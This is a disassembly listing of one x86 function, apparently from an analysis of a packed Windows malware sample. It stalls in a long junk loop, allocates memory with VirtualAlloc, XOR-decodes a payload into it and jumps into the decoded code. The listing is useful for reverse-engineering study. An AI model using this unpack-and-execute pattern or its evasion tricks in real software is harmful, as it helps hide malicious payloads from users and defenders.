Function at 0x4d8968
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc4
mov eax, 0x4d85f8
call fcn.0040659c
mov dword [0x4dce0c], 0x8a58a
mov dword [0x4dcdb8], 0xe
push 0
call sub.user32.dll_GetDlgCtrlID
inc dword [0x4dcdb8]
cmp dword [0x4dcdb8], 0x901d4c1
jne 0x4d898c
mov dword [0x4dcdd4], 0xae7f0
mov dword [0x4dcdf4], esp
add dword [0x4dcdf4], 0x40
mov dword [0x4dcdf8], ebp
add dword [0x4dcdf8], 0x20
lea ecx, [0x4dc668]
mov eax, dword [ecx - 0x10]
mov dword [0x4dce00], eax
mov eax, dword [ecx - 0x14]
mov dword [0x4dcdfc], eax
push 0x4d8c44
push 0xa
mov ecx, dword [0x4dc668]
mov dl, 1
mov eax, dword [0x41b348]
call fcn.0042011c
mov dword [0x4dcdc0], eax
mov dword [0x4dce04], 0x1001
mov dword [0x4dce08], 0x1579
mov eax, sub.kernel32.dll_VirtualAlloc_1
mov dword [0x4dce10], eax
mov dword [0x4dce14], 0xffffffff
mov dword [0x4dcde0], 0x85
mov eax, dword [0x4dcdc0]
mov edx, dword [eax]
call dword [edx]
mov dword [0x4dce18], eax
mov eax, dword [0x4dce08]
sub eax, 0x1539
push eax
mov eax, dword [0x4dce04]
dec eax
push eax
mov eax, dword [0x4dce18]
add eax, dword [0x4dcde0]
push eax
push 0
call dword [0x4dce10]
mov dword [0x4dcdc4], eax
mov eax, dword [0x4dce08]
sub eax, 0x1539
push eax
mov eax, dword [0x4dce04]
dec eax
push eax
mov eax, dword [0x4dce18]
add eax, dword [0x4dcde0]
push eax
push 0
call dword [0x4dce10]
mov dword [0x4dcdcc], eax
mov edx, dword [0x4dce18]
mov eax, dword [0x4dcdcc]
call fcn.004072dc
mov eax, dword [0x4dcdc0]
mov edx, dword [eax]
call dword [edx]
mov ecx, eax
mov edx, dword [0x4dcdc4]
mov eax, dword [0x4dcdc0]
call fcn.0041fab8
mov eax, dword [0x4dcdc4]
mov eax, dword [eax]
mov dword [0x4dcdd0], eax
mov eax, dword [0x4dcdc4]
add eax, 4
mov dword [0x4dcdc4], eax
mov eax, dword [0x4dcdcc]
mov dword [0x4dcdc8], eax
mov eax, dword [0x4dcdc8]
sub eax, 4
mov dword [0x4dcdc8], eax
xor eax, eax
mov dword [0x4dcdec], eax
xor eax, eax
mov dword [0x4dcdf0], eax
mov dword [0x4dcddc], 0x583
xor eax, eax
mov dword [0x4dcde4], eax
mov eax, dword [0x4dcdc0]
mov edx, dword [eax]
call dword [edx]
mov dword [0x4dcde8], eax
xor eax, eax
mov dword [0x4dcdb8], eax
mov eax, dword [0x4dcdec]
cmp eax, dword [0x4dcde8]
jae 0x4d8b7a
mov edx, dword [0x4dcdc4]
add edx, dword [0x4dcdec]
add edx, dword [0x4dcdb8]
mov eax, dword [0x4dcdcc]
add eax, dword [0x4dcdf0]
mov ecx, dword [0x4dcde0]
call fcn.004072d4
mov eax, dword [0x4dcde0]
add dword [0x4dcdf0], eax
mov eax, dword [0x4dcde0]
add dword [0x4dcdec], eax
mov eax, dword [0x4dcde4]
add dword [0x4dcdec], eax
jmp 0x4d8b22
xor eax, eax
mov dword [0x4dcdb8], eax
mov eax, dword [0x4dcdb8]
cmp eax, dword [0x4dcdd0]
jae 0x4d8be0
mov eax, dword [0x4dcdb8]
add eax, dword [0x4dce0c]
mov dword [0x4dcdbc], eax
mov eax, dword [0x4dcdb8]
mov edx, dword [0x4dcdcc]
add dword [edx], eax
mov eax, dword [0x4dcddc]
add eax, dword [0x4dcdbc]
mov edx, dword [0x4dcdcc]
xor dword [edx], eax
add dword [0x4dcdb8], 4
add dword [0x4dcdcc], 4
push 0
call sub.gdi32.dll_GetTextCharset
mov eax, dword [0x4dcdb8]
cmp eax, dword [0x4dcdd0]
jb 0x4d8b8e
mov eax, dword [0x4dcdc8]
add eax, dword [0x4dcdd4]
sub eax, 0x1000
add eax, 4
mov dword [0x4dcdd8], eax
mov eax, 0xd
push dword [0x4dcdf4]
mov eax, 0xe
push dword [0x4dcdf8]
mov eax, 0x9c
push dword [0x4dcdfc]
mov eax, 0x11
push dword [0x4dce00]
push dword [0x4dc668]
mov eax, 1
push eax
jmp dword [0x4dcdd8]